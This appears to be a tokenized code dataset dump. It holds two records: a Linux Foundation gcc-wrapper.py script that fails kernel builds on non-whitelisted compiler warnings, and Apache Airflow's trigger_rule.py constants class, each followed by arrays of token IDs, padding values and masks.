32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
alexax66/CM11_kernel_serranodsxx
scripts/gcc-wrapper.py
364
3936
#! /usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2011-2012, The Linux Foundation. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of The Linux Foundation nor # the names of its contributors may be used to endorse or promote # products derived from this software without specific prior written # permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # Invoke gcc, looking for warnings, and causing a failure if there are # non-whitelisted warnings. import errno import re import os import sys import subprocess # Note that gcc uses unicode, which may depend on the locale. TODO: # force LANG to be set to en_US.UTF-8 to get consistent warnings. allowed_warnings = set([ "alignment.c:327", "mmu.c:602", "return_address.c:62", "swab.h:49", "SemaLambda.cpp:946", "CGObjCGNU.cpp:1414", "BugReporter.h:146", "RegionStore.cpp:1904", "SymbolManager.cpp:484", "RewriteObjCFoundationAPI.cpp:737", "RewriteObjCFoundationAPI.cpp:696", "CommentParser.cpp:394", "CommentParser.cpp:391", "CommentParser.cpp:356", "LegalizeDAG.cpp:3646", "IRBuilder.h:844", "DataLayout.cpp:193", "transport.c:653", "xt_socket.c:307", "xt_socket.c:161", "inet_hashtables.h:356", "xc4000.c:1049", "xc4000.c:1063", ]) # Capture the name of the object file, can find it. ofile = None warning_re = re.compile(r'''(.*/|)([^/]+\.[a-z]+:\d+):(\d+:)? warning:''') def interpret_warning(line): """Decode the message from gcc. The messages we care about have a filename, and a warning""" line = line.rstrip('\n') m = warning_re.match(line) if m and m.group(2) not in allowed_warnings: print "error, forbidden warning:", m.group(2) # If there is a warning, remove any object if it exists. if ofile: try: os.remove(ofile) except OSError: pass sys.exit(1) def run_gcc(): args = sys.argv[1:] # Look for -o try: i = args.index('-o') global ofile ofile = args[i+1] except (ValueError, IndexError): pass compiler = sys.argv[0] try: proc = subprocess.Popen(args, stderr=subprocess.PIPE) for line in proc.stderr: print line, interpret_warning(line) result = proc.wait() except OSError as e: result = e.errno if result == errno.ENOENT: print args[0] + ':',e.strerror print 'Is your PATH set correctly?' else: print ' '.join(args), str(e) return result if __name__ == '__main__': status = run_gcc() sys.exit(status)
gpl-2.0
[ 3168, 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1898, 334, 67, 9, 7760, 13, 7409, 12, 710, 10130, 2752, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 7647, 26, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 755, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 755, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 755, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 710, 10130, 2752, 6590, 199, 3, 755, 314, 1561, 402, 2399, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 199, 3, 755, 7585, 7131, 687, 642, 2032, 1928, 2488, 6791, 5313, 199, 3, 755, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 298, 1179, 2281, 2, 199, 3, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 199, 3, 5292, 2990, 1634, 3169, 12, 3092, 2381, 437, 3115, 3104, 2401, 199, 3, 11214, 13, 12799, 9315, 9706, 14, 221, 1621, 4825, 6461, 7000, 2334, 5877, 11489, 1549, 199, 3, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 199, 3, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 199, 3, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 199, 3, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 199, 3, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 334, 6446, 9254, 1549, 199, 3, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 9704, 8036, 199, 3, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 3, 31049, 19443, 12, 10023, 367, 3598, 12, 436, 25498, 282, 5988, 340, 2337, 787, 199, 3, 2222, 13, 7510, 15023, 3598, 14, 199, 199, 646, 7554, 199, 646, 295, 199, 646, 747, 199, 646, 984, 199, 646, 3873, 199, 199, 3, 3390, 626, 19443, 4440, 2649, 12, 1314, 1443, 11687, 641, 314, 5867, 14, 221, 3254, 26, 199, 3, 3542, 25029, 370, 506, 663, 370, 655, 63, 1668, 14, 6610, 13, 24, 370, 664, 12137, 3598, 14, 199, 199, 6541, 63, 5451, 275, 663, 779, 272, 298, 13699, 14, 67, 26, 11754, 401, 272, 298, 596, 85, 14, 67, 26, 28384, 401, 272, 298, 1107, 63, 1562, 14, 67, 26, 2789, 401, 199, 198, 2, 3519, 371, 14, 72, 26, 1887, 401, 2043, 298, 1513, 391, 21350, 14, 5910, 26, 30626, 401, 2043, 298, 4064, 5665, 4064, 1440, 14, 5910, 26, 1079, 1079, 401, 2043, 298, 17545, 15891, 14, 72, 26, 11432, 401, 2043, 298, 10708, 5502, 14, 5910, 26, 1167, 966, 401, 2043, 298, 8169, 2988, 14, 5910, 26, 29618, 401, 2043, 298, 497, 952, 5665, 35, 30216, 3735, 14, 5910, 26, 29045, 401, 2043, 298, 497, 952, 5665, 35, 30216, 3735, 14, 5910, 26, 15154, 401, 2043, 298, 7488, 2842, 14, 5910, 26, 13549, 401, 2043, 298, 7488, 2842, 14, 5910, 26, 16959, 401, 2043, 298, 7488, 2842, 14, 5910, 26, 13251, 401, 2043, 298, 13257, 279, 794, 28211, 14, 5910, 26, 19, 11387, 401, 2043, 298, 3927, 6437, 14, 72, 26, 16042, 401, 2043, 298, 1451, 4798, 14, 5910, 26, 13015, 401, 2043, 298, 5545, 14, 67, 26, 25401, 401, 2043, 298, 400, 63, 3450, 14, 67, 26, 11516, 401, 2043, 298, 400, 63, 3450, 14, 67, 26, 12285, 401, 2043, 298, 10811, 63, 1989, 517, 5921, 14, 72, 26, 13251, 401, 2043, 298, 1812, 23641, 14, 67, 26, 709, 1887, 401, 2043, 298, 1812, 23641, 14, 67, 26, 709, 2766, 401, 198, 199, 4794, 199, 199, 3, 29828, 314, 536, 402, 314, 909, 570, 12, 883, 2342, 652, 14, 199, 79, 493, 275, 488, 199, 199, 3764, 63, 264, 275, 295, 14, 2014, 8, 82, 2344, 19276, 15, 92, 9, 7059, 15251, 27658, 65, 13, 90, 2807, 3427, 68, 11, 304, 2961, 68, 11, 26, 5547, 5721, 26, 12310, 199, 318, 15579, 63, 3764, 8, 604, 304, 272, 408, 9400, 314, 1245, 687, 19443, 14, 221, 710, 3788, 781, 10296, 3595, 1172, 282, 1788, 12, 436, 282, 5721, 624, 272, 1004, 275, 1004, 14, 6735, 2258, 78, 358, 272, 333, 275, 5721, 63, 264, 14, 1431, 8, 604, 9, 272, 340, 333, 436, 333, 14, 923, 8, 18, 9, 440, 315, 4370, 63, 5451, 26, 267, 870, 298, 705, 12, 24786, 5721, 6783, 333, 14, 923, 8, 18, 9, 398, 327, 982, 2337, 365, 282, 5721, 12, 2813, 1263, 909, 340, 652, 3495, 14, 267, 340, 312, 493, 26, 288, 862, 26, 355, 747, 14, 2168, 8, 79, 493, 9, 288, 871, 6440, 26, 355, 986, 267, 984, 14, 2224, 8, 17, 9, 199, 199, 318, 1255, 63, 13112, 837, 272, 1249, 275, 984, 14, 3020, 59, 17, 2938, 272, 327, 12077, 367, 446, 79, 272, 862, 26, 267, 284, 275, 1249, 14, 1080, 3654, 79, 358, 267, 2288, 312, 493, 267, 312, 493, 275, 1249, 59, 73, 11, 17, 61, 272, 871, 334, 3393, 12, 7888, 304, 267, 986, 339, 6365, 275, 984, 14, 3020, 59, 16, 61, 339, 862, 26, 267, 6499, 275, 3873, 14, 7942, 8, 589, 12, 4635, 29, 5781, 14, 6089, 9, 267, 367, 1004, 315, 6499, 14, 3083, 26, 288, 870, 1004, 12, 288, 15579, 63, 3764, 8, 604, 9, 398, 754, 275, 6499, 14, 2573, 342, 272, 871, 6440, 465, 325, 26, 267, 754, 275, 325, 14, 7931, 267, 340, 754, 508, 7554, 14, 20465, 26, 288, 870, 1249, 59, 16, 61, 435, 25475, 69, 14, 20395, 288, 870, 283, 1831, 2195, 15097, 663, 6657, 14069, 267, 587, 26, 288, 870, 283, 1987, 904, 8, 589, 395, 620, 8, 69, 9, 339, 372, 754, 199, 199, 692, 636, 354, 363 ]
[ 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1898, 334, 67, 9, 7760, 13, 7409, 12, 710, 10130, 2752, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 7647, 26, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 755, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 755, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 755, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 710, 10130, 2752, 6590, 199, 3, 755, 314, 1561, 402, 2399, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 199, 3, 755, 7585, 7131, 687, 642, 2032, 1928, 2488, 6791, 5313, 199, 3, 755, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 298, 1179, 2281, 2, 199, 3, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 199, 3, 5292, 2990, 1634, 3169, 12, 3092, 2381, 437, 3115, 3104, 2401, 199, 3, 11214, 13, 12799, 9315, 9706, 14, 221, 1621, 4825, 6461, 7000, 2334, 5877, 11489, 1549, 199, 3, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 199, 3, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 199, 3, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 199, 3, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 199, 3, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 334, 6446, 9254, 1549, 199, 3, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 9704, 8036, 199, 3, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 3, 31049, 19443, 12, 10023, 367, 3598, 12, 436, 25498, 282, 5988, 340, 2337, 787, 199, 3, 2222, 13, 7510, 15023, 3598, 14, 199, 199, 646, 7554, 199, 646, 295, 199, 646, 747, 199, 646, 984, 199, 646, 3873, 199, 199, 3, 3390, 626, 19443, 4440, 2649, 12, 1314, 1443, 11687, 641, 314, 5867, 14, 221, 3254, 26, 199, 3, 3542, 25029, 370, 506, 663, 370, 655, 63, 1668, 14, 6610, 13, 24, 370, 664, 12137, 3598, 14, 199, 199, 6541, 63, 5451, 275, 663, 779, 272, 298, 13699, 14, 67, 26, 11754, 401, 272, 298, 596, 85, 14, 67, 26, 28384, 401, 272, 298, 1107, 63, 1562, 14, 67, 26, 2789, 401, 199, 198, 2, 3519, 371, 14, 72, 26, 1887, 401, 2043, 298, 1513, 391, 21350, 14, 5910, 26, 30626, 401, 2043, 298, 4064, 5665, 4064, 1440, 14, 5910, 26, 1079, 1079, 401, 2043, 298, 17545, 15891, 14, 72, 26, 11432, 401, 2043, 298, 10708, 5502, 14, 5910, 26, 1167, 966, 401, 2043, 298, 8169, 2988, 14, 5910, 26, 29618, 401, 2043, 298, 497, 952, 5665, 35, 30216, 3735, 14, 5910, 26, 29045, 401, 2043, 298, 497, 952, 5665, 35, 30216, 3735, 14, 5910, 26, 15154, 401, 2043, 298, 7488, 2842, 14, 5910, 26, 13549, 401, 2043, 298, 7488, 2842, 14, 5910, 26, 16959, 401, 2043, 298, 7488, 2842, 14, 5910, 26, 13251, 401, 2043, 298, 13257, 279, 794, 28211, 14, 5910, 26, 19, 11387, 401, 2043, 298, 3927, 6437, 14, 72, 26, 16042, 401, 2043, 298, 1451, 4798, 14, 5910, 26, 13015, 401, 2043, 298, 5545, 14, 67, 26, 25401, 401, 2043, 298, 400, 63, 3450, 14, 67, 26, 11516, 401, 2043, 298, 400, 63, 3450, 14, 67, 26, 12285, 401, 2043, 298, 10811, 63, 1989, 517, 5921, 14, 72, 26, 13251, 401, 2043, 298, 1812, 23641, 14, 67, 26, 709, 1887, 401, 2043, 298, 1812, 23641, 14, 67, 26, 709, 2766, 401, 198, 199, 4794, 199, 199, 3, 29828, 314, 536, 402, 314, 909, 570, 12, 883, 2342, 652, 14, 199, 79, 493, 275, 488, 199, 199, 3764, 63, 264, 275, 295, 14, 2014, 8, 82, 2344, 19276, 15, 92, 9, 7059, 15251, 27658, 65, 13, 90, 2807, 3427, 68, 11, 304, 2961, 68, 11, 26, 5547, 5721, 26, 12310, 199, 318, 15579, 63, 3764, 8, 604, 304, 272, 408, 9400, 314, 1245, 687, 19443, 14, 221, 710, 3788, 781, 10296, 3595, 1172, 282, 1788, 12, 436, 282, 5721, 624, 272, 1004, 275, 1004, 14, 6735, 2258, 78, 358, 272, 333, 275, 5721, 63, 264, 14, 1431, 8, 604, 9, 272, 340, 333, 436, 333, 14, 923, 8, 18, 9, 440, 315, 4370, 63, 5451, 26, 267, 870, 298, 705, 12, 24786, 5721, 6783, 333, 14, 923, 8, 18, 9, 398, 327, 982, 2337, 365, 282, 5721, 12, 2813, 1263, 909, 340, 652, 3495, 14, 267, 340, 312, 493, 26, 288, 862, 26, 355, 747, 14, 2168, 8, 79, 493, 9, 288, 871, 6440, 26, 355, 986, 267, 984, 14, 2224, 8, 17, 9, 199, 199, 318, 1255, 63, 13112, 837, 272, 1249, 275, 984, 14, 3020, 59, 17, 2938, 272, 327, 12077, 367, 446, 79, 272, 862, 26, 267, 284, 275, 1249, 14, 1080, 3654, 79, 358, 267, 2288, 312, 493, 267, 312, 493, 275, 1249, 59, 73, 11, 17, 61, 272, 871, 334, 3393, 12, 7888, 304, 267, 986, 339, 6365, 275, 984, 14, 3020, 59, 16, 61, 339, 862, 26, 267, 6499, 275, 3873, 14, 7942, 8, 589, 12, 4635, 29, 5781, 14, 6089, 9, 267, 367, 1004, 315, 6499, 14, 3083, 26, 288, 870, 1004, 12, 288, 15579, 63, 3764, 8, 604, 9, 398, 754, 275, 6499, 14, 2573, 342, 272, 871, 6440, 465, 325, 26, 267, 754, 275, 325, 14, 7931, 267, 340, 754, 508, 7554, 14, 20465, 26, 288, 870, 1249, 59, 16, 61, 435, 25475, 69, 14, 20395, 288, 870, 283, 1831, 2195, 15097, 663, 6657, 14069, 267, 587, 26, 288, 870, 283, 1987, 904, 8, 589, 395, 620, 8, 69, 9, 339, 372, 754, 199, 199, 692, 636, 354, 363, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
airbnb/airflow
airflow/utils/trigger_rule.py
10
1722
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from typing import Set class TriggerRule: """Class with task's trigger rules.""" ALL_SUCCESS = 'all_success' ALL_FAILED = 'all_failed' ALL_DONE = 'all_done' ONE_SUCCESS = 'one_success' ONE_FAILED = 'one_failed' NONE_FAILED = 'none_failed' NONE_FAILED_OR_SKIPPED = 'none_failed_or_skipped' NONE_SKIPPED = 'none_skipped' DUMMY = 'dummy' _ALL_TRIGGER_RULES: Set[str] = set() @classmethod def is_valid(cls, trigger_rule): """Validates a trigger rule.""" return trigger_rule in cls.all_triggers() @classmethod def all_triggers(cls): """Returns all trigger rules.""" if not cls._ALL_TRIGGER_RULES: cls._ALL_TRIGGER_RULES = { getattr(cls, attr) for attr in dir(cls) if not attr.startswith("_") and not callable(getattr(cls, attr)) } return cls._ALL_TRIGGER_RULES
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 504, 14090, 492, 2494, 421, 199, 533, 24015, 5065, 26, 272, 408, 2543, 543, 2120, 1159, 6804, 4713, 1041, 339, 11727, 63, 12779, 275, 283, 452, 63, 3742, 7, 272, 11727, 63, 12299, 275, 283, 452, 63, 4892, 7, 272, 11727, 63, 22162, 275, 283, 452, 63, 4456, 7, 272, 13051, 63, 12779, 275, 283, 368, 63, 3742, 7, 272, 13051, 63, 12299, 275, 283, 368, 63, 4892, 7, 272, 653, 4817, 63, 12299, 275, 283, 3592, 63, 4892, 7, 272, 653, 4817, 63, 12299, 63, 726, 63, 13525, 19359, 275, 283, 3592, 63, 4892, 63, 269, 63, 11962, 7, 272, 653, 4817, 63, 13525, 19359, 275, 283, 3592, 63, 11962, 7, 272, 577, 22472, 275, 283, 5869, 7, 339, 485, 1761, 63, 30073, 63, 31490, 26, 2494, 59, 495, 61, 275, 663, 342, 339, 768, 3744, 272, 347, 365, 63, 1078, 8, 1886, 12, 6804, 63, 2200, 304, 267, 408, 3490, 2335, 282, 6804, 2332, 1041, 267, 372, 6804, 63, 2200, 315, 843, 14, 452, 63, 26328, 342, 339, 768, 3744, 272, 347, 1006, 63, 26328, 8, 1886, 304, 267, 408, 3407, 1006, 6804, 4713, 1041, 267, 340, 440, 843, 423, 1761, 63, 30073, 63, 31490, 26, 288, 843, 423, 1761, 63, 30073, 63, 31490, 275, 469, 355, 2519, 8, 1886, 12, 1921, 9, 355, 367, 1921, 315, 2935, 8, 1886, 9, 355, 340, 440, 1921, 14, 2460, 11008, 531, 436, 440, 4550, 8, 5675, 8, 1886, 12, 1921, 430, 288, 789, 267, 372, 843, 423, 1761, 63, 30073, 63, 31490, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 